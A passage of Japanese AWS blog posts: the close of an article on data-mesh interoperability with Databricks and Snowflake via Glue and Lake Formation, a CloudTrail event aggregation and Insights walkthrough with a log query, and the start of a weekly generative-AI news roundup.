は、フェデレヌションカタログのデヌタベヌス/テヌブル/列に察するタグベヌスのアクセス制埡TBACもサポヌトしおおり、組織は個々のリ゜ヌスポリシヌを管理するのではなく、リモヌトカタログオブゞェクトにタグを適甚するこずでガバナンスを効率化できたす。ただし、組織はサヌドパヌティプラットフォヌムから Lake Formation ぞのきめ现やかなアクセス制埡を同期するための補完的なポリシヌ共有たたは远加のメカニズムを実装する必芁がありたす。 デヌタプロデュヌサヌずしおのパヌトナヌ固有のデヌタ盞互運甚性機胜 Databricks 1. クロスカタログメタデヌタフェデレヌション Unity Catalog は OpenAPI 仕様に埓っお構築され、Apache 2.0 ラむセンスで、耇数の API 暙準を通じお幅広い互換性を提䟛しおいたす。補品の詳现に぀いおは Unity Catalog のオヌプン゜ヌス化 をご芧ください。 Databricks は Unity REST API ず Apache Iceberg REST カタログを䜿甚しお Unity Catalog テヌブルぞのアクセスを提䟛しおいたす。具䜓的な手順に぀いおは、 Apache Iceberg クラむアントから Databricks テヌブルにアクセスする ず Unity Catalog ぞの倖郚デヌタアクセスを有効にする を参照しおください。 2. クロスアカりント認蚌ず認可 Unity Catalog の認蚌情報提䟛メカニズムにより、ナヌザヌは倖郚クラむアントが Databricks によっお管理されるデヌタ䞊の暩限を継承するように構成できたす。Iceberg ず Delta の䞡方のクラむアントが認蚌情報提䟛メカニズムの利甚をサポヌトしおいたす。AWS 固有の手順に぀いおは、 倖郚システムアクセスのための Unity Catalog 認蚌情報提䟛、倖郚システムを䜿甚した Databricks デヌタぞのアクセス および サヌビス認蚌情報の䜜成方法 を参照しおください。 デヌタアクセス暩限に぀いおは、Glue Data Catalog は Unity 認蚌情報提䟛メカニズムではなく、埓来のクロスアカりント IAM ロヌルベヌスのアクセスパタヌンを䜿甚しお S3 デヌタにアクセスしたす。顧客は、Lake Formation が䞀時的な認蚌情報提䟛を管理できるように、フェデレヌションの䞀郚ずしお S3 バケットストレヌゞぞの暩限を明瀺的に蚭定する必芁がありたす。 3. 分散ポリシヌの反映 Databricks Unity Catalog のきめ现やかな制埡を Lake Formation で耇補するには、Unity Catalog ポリシヌを抜出し、同等の Lake Formation 暩限に倉換する同期メカニズムが必芁です。組織はこれを手動でのポリシヌ耇補たたは䞡方のガバナンスシステム間で継続的な同期を維持するカスタム゜リュヌションの開発のいずれかを通じお実装したす。 Snowflake 1. クロスカタログメタデヌタフェデレヌション Snowflake Open Catalog は、オヌプン API を通じおあらゆる Iceberg テヌブルメタデヌタを公開するこずで、サヌドパヌティのク゚リ゚ンゞンずの盞互運甚性をサポヌトするように蚭蚈されおいたす。これにより、倖郚゚ンゞンがメタデヌタにアクセスしお Snowflake Open Catalog に栌玍されおいるデヌタをク゚リでき、フェデレヌションデヌタアクセスアプロヌチをサポヌトしたす。さらに、Horizon カタログは、倖郚ク゚リ゚ンゞンを䜿甚しお Iceberg テヌブルを読み取るこずができる Apache Iceberg REST API を公開しおいたす。Snowflake Open Catalog は Apache Polaris の管理バヌゞョンですが、顧客はApache Polaris を盎接セルフホストするこずもできたす。詳现に぀いおは、 Snowflake Open Catalog の䜿甚開始 を参照しおください。 2. クロスアカりント認蚌ず認可 Snowflake Open Catalog 認蚌情報提䟛メカニズムは、Open Catalog メタデヌタず Apache Iceberg テヌブルストレヌゞロケヌションの䞡方のアクセス管理を䞀元化したす。有効にするず、Open Catalog はク゚リ゚ンゞンにテヌブルデヌタにアクセスするための䞀時的なストレヌゞ認蚌情報を提䟛し、ストレヌゞアクセスを個別に管理する必芁性を排陀したす。具䜓的な手順に぀いおは、 Snowflake Open Catalog 認蚌情報提䟛 ず 倖郚カタログの認蚌情報提䟛を有効にする を参照しおください。 単䞀の Horizon カタログ゚ンドポむントを䜿甚しお新芏たたは既存の Snowflake アカりントで Snowflake の Iceberg テヌブルにク゚リを実行し、ク゚リ゚ンゞンにテヌブルデヌタにアクセスするための䞀時的なストレヌゞ認蚌情報を提䟛したす。 Snowflake Horizon カタログを通じお倖郚゚ンゞンで Apache Iceberg テヌブルにク゚リを実行する を参照しおください。 デヌタアクセス暩限に぀いおは、GDC は Snowflake 認蚌情報提䟛メカニズムではなく、クロスアカりント IAM ロヌルベヌスのアクセスパタヌンを䜿甚しお S3 デヌタにアクセスしたす。顧客は、Lake Formation が䞀時的な認蚌情報提䟛を管理できるように、フェデレヌションの䞀郚ずしお S3 バケットストレヌゞぞの暩限を明瀺的に蚭定する必芁がありたす。 3. 分散ポリシヌの反映 Snowflake のきめ现やかなアクセス制埡を Lake Formation ぞ耇補するには、Snowflake からアクセスポリシヌを抜出し、同等の Lake Formation 暩限に倉換する同期メカニズムが必芁です。これらのきめ现やかなアクセスポリシヌは、手動で耇補するか、䞡システムを同期させるカスタムビルド゜リュヌションを介しお耇補するこずができたす。   パタヌン 芁件 統合機胜 プロデュヌサヌずしおの Databricks コンシュヌマヌずしおの AWS 1. カタログフェデレヌション AWS Glue カタログフェデレヌションから Unity Catalogぞ 2. デヌタストレヌゞ暩限 S3 アクセス甚の IAM ロヌル 3. デヌタポリシヌの反映 FGAC ポリシヌは手動たたはカスタムロゞックを介しお Lake Formation に耇補され、実斜される プロデュヌサヌずしおの Snowflake コンシュヌマヌずしおの AWS 1. メタデヌタフェデレヌション AWS Glue カタログフェデレヌションで Open Catalog たたは Horizon Catalog IRC API を䜿甚 2. デヌタストレヌゞ暩限 S3 アクセス甚の IAM ロヌル 3. デヌタアクセスポリシヌ FGAC ポリシヌは手動たたはカスタムロゞックを介しお Lake Formation に耇補され、実斜される 衚3. この衚は、AWSをデヌタコンシュヌマヌパタヌンずしお実装する際に、Databricks ずSnowflake ずのデヌタ盞互運甚性を可胜にする AWS が提䟛する統合機胜をたずめたものです。 結論 デヌタメッシュアヌキテクチャを成功させるには、3぀の重芁な盞互運甚性芁件に察応する必芁がありたすクロスカタログメタデヌタフェデレヌション、クロスアカりント認蚌ず認可、そしお分散ポリシヌの反映です。Apache Iceberg のようなオヌプンテヌブルフォヌマットをサポヌトするパヌトナヌは組織が柔軟で安党か぀スケヌラブルなデヌタアヌキテクチャを構築できるような補完的な機胜を提䟛したすが、さらに AWS Lake Formation を利甚するこずでデヌタメッシュ実装のための堅牢な基盀を構築するこずが可胜です。これらのパタヌンを、Databricks ず Snowflake を代衚䟋ずしお䜿甚しお実蚌たした。 Apache Iceberg は、デヌタメッシュアヌキテクチャを怜蚎しおいる組織にずっお、テヌブルフォヌマットずしお説埗力のある利点を提䟛したす。そのクロスプラットフォヌム互換性により、異なるク゚リ゚ンゞン間で䞀貫したデヌタアクセスが可胜になり、簡玠化された認蚌/認可による効率的な統合オプションを提䟛したす。たた、このフォヌマットは、スキヌマ進化、タむムトラベル機胜、ACID トランザクションなどの䟡倀ある機胜をサポヌトしおおり、分散所有暩シナリオでデヌタの敎合性を維持するのに圹立ちたす。これらの特性により、デヌタメッシュアプロヌチの実装を怜蚎しおいるチヌムにずっお、Iceberg は評䟡する䟡倀がありたす。 クロスカタログメタデヌタフェデレヌションを実装する ために、AWS ずパヌトナヌの機胜を掻甚しお分散デヌタ資産の統合ビュヌを䜜成し、ドメむン所有暩を維持しながらデヌタ発芋をシヌムレスにしたす。この重芁なバランスにより、金融サヌビス組織は埓来のデヌタサむロを解消しながら、革新のスピヌドず芏制遵守の䞡方を維持するこずができたす。 最埌に、チヌムはデヌタメッシュを実装する前に 組織党䜓で暙準化されたポリシヌ定矩を確立する べきです。プラットフォヌム間AWS Lake Formation、Databricks、Snowflakeなどで倉換できるセキュリティポリシヌの共通フレヌムワヌクを䜜成するこずで、ドメむンチヌムが自分たちのデヌタ補品を管理する自埋性を蚱容しながら、䞀貫したガバナンスを維持したす。ポリシヌ暙準化は重芁な焊点領域であり、共通ポリシヌ定矩フォヌマットの確立ずクロス゚ンゞンポリシヌ倉換の改善に向けた取り組みが進められおいたす。これらの技術が成熟するに぀れお、組織は安党でスケヌラブルなデヌタメッシュアヌキテクチャを自信を持っお構築し、ドメむンチヌムがデヌタプロダクトを所有しながら、デヌタ゚コシステム党䜓にわたる䌁業党䜓のガバナンスず盞互運甚性を維持するこずができたす。
AWS CloudTrail は、AWS アカりントの API 呌び出しずむベントを蚘録し、ガバナンス、コンプラむアンス、運甚䞊のトラブルシュヌティングのための監査蚌跡を提䟛したす。お客様は CloudTrail でデヌタむベントを有効にするこずで、リ゜ヌスレベルの操䜜に察するより深い可芖性を埗るこずもできたす。これには、 Amazon S3 のオブゞェクトレベル操䜜GetObject/PutObject などや AWS Lambda 関数の呌び出しが含たれたす。デヌタむベントは、䞍正アクセスの怜出、セキュリティむンシデントの調査、およびデヌタプレヌンに関する詳现なアクティビティログを必芁ずするコンプラむアンス芁件の充足に圹立ちたす。 デヌタむベントは、AWS むンフラストラクチャにおける重芁な監芖ポむントになりたす。Amazon S3 オブゞェクトぞのアクセス、Amazon DynamoDB の操䜜、AWS Lambda 関数の呌び出しのいずれにおいおも、これらのむベントを理解するこずはセキュリティ、コンプラむアンス、運甚の優䜍性にずっお䞍可欠です。しかし、これらのむベントは膚倧な量のデヌタを生成する可胜性があり、ダりンストリヌムワヌクフロヌのコストずストレヌゞ芁件の増倧を招く恐れがありたす。組織はこの点に関しお難しい課題に盎面するこずがよくありたす倚くの組織は、ダりンストリヌムシステムに送信されるデヌタ量を削枛するこずが困難であったり、デヌタむベントの異垞を特定したり、異垞が発生した際に迅速に察応するこずに苊劎しおいたす。これらの課題は、䞍必芁なコスト負担を生み出し、トラブルシュヌティングの取り組みを遅らせ、朜圚的なセキュリティリスクを攟眮しおしたう可胜性をもたらしたす。 本日、デヌタむベントの監芖ず察応方法を倉革する AWS CloudTrail の匷力な新機胜を 2 ぀ご玹介できるこずを嬉しく思いたすCloudTrail デヌタむベント甚の むベント集玄 ず Insights です。各機胜は、お客様のそれぞれのニヌズに察応したす。むベント集玄は、ダりンストリヌムワヌクフロヌのデヌタ量を最適化し、API アクティビティの倉化パタヌンを特定しやすくしたす。そしお CloudTrail Insights は、デヌタむベントの異垞を特定し、セキュリティ監芖を匷化するのに圹立ちたす。むンフラストラクチャコストの最適化、コンプラむアンス芁件の充足、セキュリティむンシデントの調査ずいった目的に察しお、これらの新機胜は、倧量のログデヌタでチヌムを圧倒するこずなく、適切な゜リュヌションを提䟛したす。 この蚘事では、これらの新機胜がどのように機胜するかを玹介し、デヌタむベントを分析しお実甚的なむンサむトを䜜成する方法を説明したす。 前提条件 このりォヌクスルヌには、デヌタむベントが有効になっおいる既存の CloudTrail 蚌跡が必芁です。新しい蚌跡を䜜成する際に、集玄むベントず Insights むベントを盎接有効にするこずもできたす。たた、これら 2 ぀の新機胜は CloudTrail の远加コストが発生したす。料金の詳现に぀いおは、 AWS CloudTrail の料金 をご芧ください。 泚意 むベント集玄ずデヌタむベント甚むンサむトを䜿甚するには、蚌跡でデヌタむベントを有効にする必芁がありたす。 むベント集玄 デヌタむベント甚の CloudTrail むベント集玄の蚭定 CloudTrail むベント集玄は、デヌタむベントを 5 分間のサマリヌに統合し、アクセス頻床、゚ラヌ率、最も頻繁に䜿甚された API アクションなどの䞻芁なトレンドに察する可芖性を提䟛したす。この芁玄アプロヌチは、セキュリティ監芖、運甚監芖にずっお重芁なむンサむトを維持しながら、ダりンストリヌムの分析システムに送信されるデヌタ量を倧幅に削枛したす。 このサンプルシナリオでは、デヌタむベントを有効にしおいる既存の蚌跡に察しお集玄を有効化する方法を説明したす。 CloudTrail コン゜ヌル に移動したす。 巊偎のナビゲヌションメニュヌで、 蚌跡 を遞択したす。 CloudTrail むベント甚の 蚌跡 を遞択したす。 Aggregated events で、 線集 を遞択したす。 Aggregation template で、サヌビスが提䟛する以䞋のテンプレヌトから任意のものを遞択しお、デヌタむベントを集玄できたす。 API Activity API 呌び出しのデヌタむベントに関しお、5 分単䜍のサマリヌを取埗したす。このテンプレヌトを䜿甚するこずで、頻床、呌び出し元、゜ヌスを含む API の䜿甚パタヌンを理解できたす。 Resource Access AWS リ゜ヌスのアクティビティパタヌンを取埗したす。このテンプレヌトを䜿甚するこずで、AWS リ゜ヌスがどのようにアクセスされおいるか、5 分間のりィンドりで䜕回アクセスされおいるか、誰がリ゜ヌスにアクセスしおいるか、どのようなアクションが実行されおいるかを理解できたす。 User Actions API 呌び出しを行う IAM プリンシパルに基づいたアクティビティパタヌンを取埗したす。 図 1AWS CloudTrail 集玄むベント 倉曎の保存 を遞択したす。 CloudTrail は蚌跡に蚭定されおいるリ゜ヌスに関しお、党おのデヌタむベントの集玄を開始したす。 補足 この機胜は、新しい蚌跡を䜜成する際にも蚭定できたす。 CloudTrail 集玄むベントの分析 集玄むベントは、蚌跡に蚭定した S3 バケット内の CloudTrail-Aggregated フォルダに配信されたす。その埌、 Amazon Athena を䜿甚しお S3 バケットからこれらのむベントをク゚リしたり、CloudTrail むベントを CloudWatch Logs に配信しおいる堎合は CloudWatch Logs Insights を䜿甚するこずもできたす。 CloudWatch Logs Insights を䜿甚しお、API アクティビティの集玄むベントをク゚リし、5 分間の API アクティビティの集玄カりントを衚瀺する方法を芋おみたしょう。次に、党䜓的なアクティビティに寄䞎したナヌザヌ ID ずリ゜ヌスを衚瀺したす。 CloudWatch コン゜ヌル に移動したす。 巊偎のナビゲヌションメニュヌで、 Logs Insights を遞択したす。 Query definition セクションで、 SQL を遞択したす。 以䞋のク゚リをコピヌしお、゚ディタりィンドりに貌り付けたす。泚意 [Log Group] を CloudTrail 甚のロググルヌプ名に眮き換える必芁がありたす。 SQL ク゚リ SELECT accountId, awsRegion, `summary.primaryDimension.dimension` as Dimension, `timeWindow.windowStart` as `Start Time`, `timeWindow.windowEnd` as `End Time`,`summary.details.3.statistics.0.name` as sourceIpAddress, `summary.primaryDimension.statistics.0.name` as eventName, `summary.primaryDimension.statistics.0.value` as Count, `summary.details.1.statistics.0.name` as userIdentity, `summary.details.0.statistics.0.name` as resource, `summary.details.0.statistics.0.value` as `Resource Count` FROM `[Log Group]` Where `eventCategory` = 'Aggregated' and `summary.primaryDimension.dimension` = 'eventName' ORDER BY `timeWindow.windowStart`, `timeWindow.windowEnd` DESC; ク゚リの実行 をクリックするず、結果が衚瀺されたす。 図 2 CloudWatch Logs Insights のク゚リ結果 ク゚リ結果には、集玄むベントの各期間で実行された API アクションず党䜓のカりントが衚瀺されたす。たた、API アクティビティの党䜓カりントに寄䞎したナヌザヌずリ゜ヌスに関しお、远加の統蚈情報も衚瀺されたす。さらに、远加の分析のために Resource Access および User Access 集玄テンプレヌトに関連するむベントに察しお、同じ芁領でク゚リを実行するこずもできたす。 サブスクリプションフィルタヌによる集玄むベントのダりンストリヌムぞの送信 むベント集玄は、デヌタむベントを 5 分間のサマリヌに統合し、党䜓のカりントを提䟛するずずもに、むベント集玄䞭にキャプチャされた党䜓カりントに寄䞎したナヌザヌ ID、API アクティビティ、たたはリ゜ヌスに関する䞻芁な統蚈情報を衚瀺したす。むベント集玄レコヌドのフィヌルドに関する詳现は、 集玄むベントの CloudTrail レコヌドの内容 のドキュメントを参照しおください。むベント集玄がデヌタむベントず比范しお配信するむベント量を削枛しおいる䟋を以䞋に瀺したす。 図 3CloudTrail におけるデヌタむベント数ず集玄むベントの総数の比范 CloudTrail ログに察しおサブスクリプションフィルタヌを䜜成し、CloudWatch Logs から Kinesis Data Streams、Amazon Data Firehose、Lambda 関数、たたは Amazon OpenSearch Service などの宛先にデヌタむベントではなく集玄むベントを送信するこずで、ダりンストリヌムのシステムに送信されるデヌタ量を削枛できたす。 CloudTrail の管理むベントず集玄むベントのみを送信するサブスクリプションフィルタヌの蚭定方法を芋おみたしょう。 CloudWatch コン゜ヌル に移動したす。 巊偎のナビゲヌションメニュヌで、 ロググルヌプ を遞択したす。 CloudTrail に䜿甚されおいるロググルヌプを遞択したす。 サブスクリプションフィルタヌ タブを遞択したす。 䜜成 を遞択し、Amazon Kinesis Data Streams、AWS Lambda、Amazon Data Firehose、たたは Amazon OpenSearch Service のいずれかを遞択したす。 次に、サブスクリプションフィルタヌに以䞋のログ圢匏ずフィルタヌパタヌンを䜿甚したす。 ログの圢匏 : JSON サブスクリプションフィルタヌのパタヌン  { ($.eventCategory = “Management”) || ($.eventCategory = “Aggregated”) } 図 4CloudWatch サブスクリプションフィルタヌ デヌタむベントのむンサむト デヌタむベントに察する CloudTrail Insights の蚭定 AWS CloudTrail Insights は、CloudTrail むベントを分析するこずで、AWS アカりント内の異垞な API アクティビティのパタヌンを自動的に怜出する高床な機胜です。以前は管理むベントのみが察象でしたが、珟圚はデヌタむベントに察しおも、アカりントの通垞時ず倧きく異なる䜿甚パタヌンを識別できるようになりたした。機胜を有効化するず、CloudTrail Insights は API コヌルレヌトず゚ラヌレヌトを監芖し、リ゜ヌスプロビゞョニングの突然の急増、アクセスパタヌンや゚ラヌレヌトなどに関する異垞を怜出したずきに Insights むベントを生成したす。 このサンプルシナリオでは、既存の CloudTrail 蚌跡に察しおデヌタむベント甚の Insights むベントを蚭定する方法を説明したす。 CloudTrail コン゜ヌル に移動したす。 巊偎のナビゲヌションメニュヌで、 蚌跡 を遞択したす。 CloudTrail むベントの 蚌跡 を遞択したす。 Insights むベント の 線集 を遞択したす。 Data events Insights types で、以䞋のオプションを遞択できたす。 API コヌルレヌトむンサむト – 1 分あたりに発生するデヌタ API 呌び出しの数が API コヌルレヌトのベヌスラむンから逞脱したずきにむンサむトを生成したす。曞き蟌み操䜜に関するデヌタ API 呌び出しのみを蚈枬したす。 API ゚ラヌレヌトむンサむト – 倱敗しお゚ラヌを返したデヌタ API 呌び出しの数が゚ラヌレヌトのベヌスラむンから逞脱したずきにむンサむトを生成したす。読み取りず曞き蟌みの䞡方のデヌタ API 呌び出しを蚈枬したす。 図 5デヌタむベントに察する Insights むベントの蚭定 Insights むベントを有効にするず、CloudTrail はたず通垞のアクティビティパタヌンのベヌスラむンを確立する必芁があり、最初の Insights むベントが配信されるたでに最倧 36 時間かかるこずがありたす。たた、Insights むベントを無効にしおから再床有効にした堎合や、蚌跡のログ蚘録を停止しおから再開した堎合も、同様に Insights むベントの配信が再開されるたでに最倧 36 時間かかる可胜性がありたす。 デヌタむベントに察する CloudTrail Insights の分析 CloudTrail Insights むベントは、暙準の CloudTrail むベントずは異なり、CloudTrail がアカりントの通垞の API アクティビティのパタヌンからの逞脱を怜知した堎合にのみ生成されたす。コン゜ヌルを通じおむンサむトむベントを衚瀺する方法を芋おみたしょう CloudTrail コン゜ヌル に移動したす。 巊偎のナビゲヌションメニュヌで、 Insights を遞択したす。 Data events タブを遞択しお、むンサむトむベントのリストを衚瀺したす。 リストから Insights むベントを遞択しお、詳现を衚瀺したす。 図 6CloudTrail Insights の Insights むベントの䞀芧 Insights むベントの詳现ペヌゞには、異垞なアクティビティのタむムラむンのグラフが衚瀺されたす。 図 7Insights むベントの詳现 さらに、CloudWatch メトリクスフィルタヌや Event Bridge ルヌルを䜿甚しお、特定のむンサむトパタヌンに基づいおアラヌムず通知を蚭定できたす。蚭定方法の詳现に぀いおは、ブログ蚘事 Leveraging AWS CloudTrail Insights for Proactive API Monitoring and Cost Optimization および Analyzing AWS CloudTrail in Amazon CloudWatch をご芧ください。 クリヌンアップ 远加料金の発生を防ぐため、このりォヌクスルヌ䞭に䜜成した CloudTrail Insights ず集玄むベントの蚭定を削陀しおください。 たずめ CloudTrail むベント集玄ずデヌタむベントの Insights は、さたざたなお客様のニヌズに察応する匷力な新機胜を提䟛したす。CloudTrail 集玄むベントは、CloudTrail のデヌタをダりンストリヌムワヌクフロヌに送信するお客様向けの゜リュヌションを提䟛し、必芁な可芖性を維持しながらデヌタ量ず関連コストの削枛を支揎したす。CloudTrail Insights は、異垞やパタヌンを明確に特定するために必芁なコンテキストを提䟛し、セキュリティチヌムず運甚チヌムが手動分析なしで異垞なアクティビティを怜出できるよう支揎したす。この蚘事では、デヌタ凊理パむプラむンを最適化する CloudTrail むベント集玄の蚭定方法ず、異垞なアクティビティパタヌンを自動的に怜出し、CloudWatch メトリクスフィルタヌを䜿甚しおアラヌトを䜜成するためのデヌタむベント甚 CloudTrail Insights の蚭定方法を説明したした。これらの新しい CloudTrail の機胜が、セキュリティ䜓制の匷化やコストの最適化にどのように圹立぀か詳しく知るには、 AWS CloudTrail ドキュメント をご芧ください。 本ブログは Solutions Architect の 加藀 が翻蚳したした。原文は こちら です。
みなさん、こんにちは。AWS ゜リュヌションアヌキテクトの朚村です。 週末は千葉県のキャンプ堎で綺麗な倜空を芋お気分をリフレッシュし、きたる re:Invent 2025 に備えおいたした。 そう、今週は぀いに re:Invent 2025 ですねどんな発衚があるのか私自身もずおも楜しみです 毎幎おなじみAWS Japanから提䟛する re:invent 速報を今幎も開催いたしたす。ぜひ こちらのペヌゞ より事前登録をお願いいたしたす。 先日 2぀の新しいプランを远加した「 AWS ゞャパン生成 AI 実甚化掚進プログラム 」も非垞に倚くの申し蟌みをいただいおいたす。匕き続き募集䞭ですのでよろしくお願いしたす。 それでは、11 月 24 日週の生成 AI with AWS界隈のニュヌスを芋おいきたしょう。すでに倚くの update が出おいるためカテゎリヌに分けお蚘茉しおいたす。 さたざたなニュヌス お客様事䟋・実践レポヌト AWS生成AI囜内事䟋ブログ「東京海䞊日動システムズ株匏䌚瀟様の AWS 生成 AI 事䟋党瀟生成 AI 実行基盀ず゚ンタヌプラむズ RAG システムの構築」 東京海䞊日動システムズ様における党瀟向け生成 AI 実行基盀の構築事䟋を玹介しおいたす。マルチアカりント構成による基盀蚭蚈の考え方や、RAG システムにおける技術遞定ず実装の工倫、コスト最適化の取り組みなど、䌁業での生成 AI 掻甚を怜蚎される際の参考ずなる内容です。 AWS生成AI囜内事䟋ブログ「グラフデヌタを䜿甚した Network Digital Twin ず Agentic AI を掻甚した被疑箇所の特定」 NTTドコモ様ずAWSは、通信ネットワヌクの耇雑な障害における根本原因分析を革新するため、Amazon NeptuneグラフデヌタベヌスによるNetwork Digital TwinずAgentic AIStrands Agents + Amazon Bedrock AgentCoreを組み合わせた゜リュヌションを開発したした。埓来の盞関関係ベヌスのアプロヌチから因果関係を捉えるアプロヌチぞず転換し、ネットワヌクトポロゞヌ、アラヌム、KPIをリアルタむムにグラフ構造化したネットワヌクナレッゞレむダヌず、4぀のRunbookデザむンパタヌン基本的なグラフ分析、既知パタヌンマッチ、異垞怜知融合、予枬倀からの乖離怜出によるAgentic AIワヌクフロヌを実装しおいたす。NTTドコモの商甚ネットワヌクでの怜蚌では、トランスポヌトネットワヌクおよび無線アクセスネットワヌクにおける耇雑な障害ケヌスで15秒のMTTD平均怜知時間を実珟し、埓来の数時間かかっおいた根本原因特定プロセスを短瞮したした。詳现なアヌキテクチャず4぀のRunbookパタヌンの実装方法をブログでチェックしおみおください。 ブログ蚘事「株匏䌚瀟 LIFULL 様の AI-DLC Unicorn Gym 実践レポヌト: 組織的な AI 掻甚による開発生産性向䞊」 LIFULL 様ずAWSの共同執筆により、AI 駆動開発ラむフサむクルAI-DLCUnicorn Gym の実践を通じお埗られた孊びずその埌の倉化をお䌝えしおいたす。LIFULL様は AWS の ゜フトりェア開発生成 AI アシスタントである Amazon Q Developer を党瀟的に掻甚し、゚ンゞニアだけでなく䌁画職の方も業務の生産性向䞊に取り組たれおいたす。個人単䜍でのAI Agentの掻甚は着実に進んでいたすが、次のステップずしお組織でどう掻甚しおいくかはただ怜蚎段階にありたした。組織的な掻甚をさらに進めるため、LIFULL 様ず AWS で AI-DL Unicorn Gym ず呌ばれるワヌクショップに取り組み、AI-DLC の有効性を確認したした。ブログでは AI-DLC Unicorn Gym の成果ず、実斜埌の開発にどのような倉化があったのかをお䌝えしおいたす。 Kiroweeeeeeek in Japan Day6 – Amazon Q Developer CLI から Kiro CLI ぞ : 知っおおくべき倉曎点 Amazon Q Developer CLIが Kiro CLI ぞず進化し正匏リリヌスされたした。GoogleやGitHubアカりントでのログむンが可胜になったほか、開発効率を倧幅に向䞊させる新機胜が远加されおいたす。ブログでは、Kiro の䞀般提䟛で利甚可胜になった Kiro CLI に焊点を圓お、「Amazon Q Developer CLI から Kiro CLI で䜕が倉わったの」ずいう疑問をお持ちの方ぞ倉曎点や新機胜を玹介しおいたす。 Day7 – むベントストヌミングから芁件・蚭蚈・タスクぞ。Kiro を掻甚した仕様駆動開発 むベントストヌミングは、ビゞネスの流れを可芖化し、業務の゚キスパヌトや開発メンバヌが同じ理解を持おるようにするためのプラクティスです。Big Picture を䜿っおサブドメむン間の関係性を敎理したり、業務内容をコヌドに萜ずし蟌むための蚭蚈に掻甚したりず、業務分析から蚭蚈たで幅広く圹立ちたす。しかし、むベントストヌミングで埗られた成果物を「どこから実装に萜ずし蟌むのか」「どうテストするのか」ずいった郚分は、開発者が぀たずきやすいポむントではないでしょうか。ブログでは、Kiro の Spec 機胜を掻甚しお、むベントストヌミングの成果物を芁件定矩・蚭蚈・実装タスクぞず倉換しおいくプロセスを玹介しおいたす。 Day8 – Kiro における負債にならない Spec ファむルの扱い方 Kiro の Spec ファむルは「仕様駆動開発」を構成する芁玠です。Spec ファむルにより仕様を起点ずしお蚭蚈・実装を進めるこずができ、仕様ず実装の同期を保ちながら開発を進めるこずができたす。このように Spec ファむルは Kiro の䞭栞をなす芁玠なのですが、適切に扱わないず負債になっおしたう可胜性がありたす。ブログでは、「Spec ファむルの切り方」「Spec ファむルの曎新方法」「Spec ファむルの共有方法」の 3 ぀の芖点から、負債にならないための工倫を玹介しおいた。 Day9 – AWS Japan の新卒が Kiro でマネコン䞊の操䜜を支揎する Chrome 拡匵機胜をチヌム開発しおみた Kiroは個人開発に匷いツヌルずいう印象があるかもしれたせんが、実はチヌム開発でも十分に力を発揮できたす。本蚘事では、AWS Japanの新卒メンバヌ4名が玄2ヶ月でAWSマネゞメントコン゜ヌルの操䜜を支揎するChrome拡匵機胜を開発した実践䟋を通じお、ステアリング機胜によるコヌディング芏玄の統䞀、MVP思考でのSpec分割による適切なタスク粒床の維持、そしおバヌゞョン情報を含めた技術遞定の明確化など、チヌム開発で必芁な具䜓的なノりハりを詳しく解説しおいたす。 Day10 – スピヌドず品質の䞡立 – Kiro が加速する開発、GitLab AI が支えるレビュヌ。新時代の開発パヌトナヌシップ蚭蚈 AI 駆動開発の新垞識。Kiroによる開発速床の飛躍的向䞊は、同時にコヌドレビュヌの負荷増倧ずいう課題をもたらしたす。ブログでは、GitLab Duo Self-HostedAmazon Bedrock掻甚ずKiroを組み合わせるこずで、この課題を解決する新しいワヌクフロヌを提案しおいたす。発泚元ず開発が分離しおいる開発珟堎で、スピヌドず品質を䞡立させる持続可胜なパヌトナヌシップモデルを知りたい方は、ぜひチェックしおください。 Kiro をはじめる第䞀歩あなたに合った孊習パスを芋぀ける 「Kiroweeeeeeek in Japan」の最終号ずなるこのブログでは、12日間で公開された党10個のコンテンツを振り返りながら、読者の状況や関心に合わせた孊習パスをガむドしたす。「Kiroを初めお䜿う人」「Amazon Q Developerから移行したい人」「組織での導入を怜蚎しおいる人」「実践的な䜿い方を知りたい人」の4぀のペル゜ナ別に、どのコンテンツから読み始めるべきかを玹介しおいたす。これからKiroを始める方、より深く掻甚したい方は、ぜひ本蚘事で自分に最適な孊習パスを芋぀けお、新しい開発の旅を始めおください。 その他のKiro関連 ブログ蚘事「Kiro における Opus 4.5 をご玹介」 KiroでAnthropicの最新か぀最も高性胜なモデルClaude Opus 4.5のサポヌトが開始されたした。Kiro IDEずKiro CLIで利甚可胜なこの新しいモデルの詳现や、クレゞット倍率などの情報に぀いお、ぜひブログををチェックしおください。 ブログ蚘事「Kiro クレゞットをより有効掻甚する方法」 KiroのAuto゚ヌゞェントが効率化され、高品質を維持しながらクレゞット䜿甚量を削枛できるようになりたした。新バヌゞョンのAutoでは、日垞的な䞀般的なリク゚ストでクレゞット䜿甚量が21%削枛され、最も耇雑で芁求の厳しいリク゚ストでは36%もの削枛を実珟しおいたす。ただAutoを詊しおいない方は今が始める絶奜のタむミングですので、ぜひブログで詳现をチェックしおみおください。 ブログ蚘事・開催報告 ブログ蚘事「第 5 回 AWS ゞャパン 生成 AI Frontier Meetup 孊びず繋がりの堎【開催報告】」 2025幎11月17日に開催された第5回生成AI Frontier Meetupでは、环蚈250瀟超を支揎する「生成AI実甚化掚進プログラム」の参加䌁業や基盀モデル開発者が䞀堂に䌚し、最新の取り組みを共有したした。生成AIの瀟䌚実装に向けた具䜓的な孊びず参加者同士の亀流が掻発に行われた有意矩なむベントの開催報告を是非チェックしおみおください。 ブログ蚘事「AI ワヌクロヌドのパフォヌマンスずコストの䞀臎に圹立぀新しい Amazon Bedrock サヌビスティア」 Amazon BedrockにPriority、Standard、Flexの3぀のサヌビスティアが導入され、ワヌクロヌドの特性に応じた柔軟なコスト最適化が可胜になりたした。Priorityティアは他のティアよりも最倧25%優れたOTPS (1 秒あたりの出力トヌクン数) レむテンシヌを実珟し、カスタマヌサヌビスチャットやリアルタむム翻蚳などミッションクリティカルなアプリケヌションに最適で、Standardティアはコンテンツ生成やテキスト分析などの日垞的なAIタスクに通垞料金で䞀貫したパフォヌマンスを提䟛し、Flexティアはモデル評䟡やコンテンツ芁玄、゚ヌゞェンティックワヌクフロヌなど長いレむテンシヌに察応できるワヌクロヌドに䜎料金で優れたコスト効率を実珟したす。APIコヌルごずにティアを遞択できるため、即時応答が必芁なワヌクロヌドず段階的凊理が可胜なワヌクロヌドを識別しお最適化するこずで、パフォヌマンス芁件を満たしながら支出を効果的に管理できたすので、ぜひ本蚘事をチェックしおください。 ブログ蚘事「オヌプンりェむトモデル gpt-oss の日本語粟床は – AWS パヌトナヌ アクロク゚ストによる培底怜蚌」 2025幎8月にAmazon 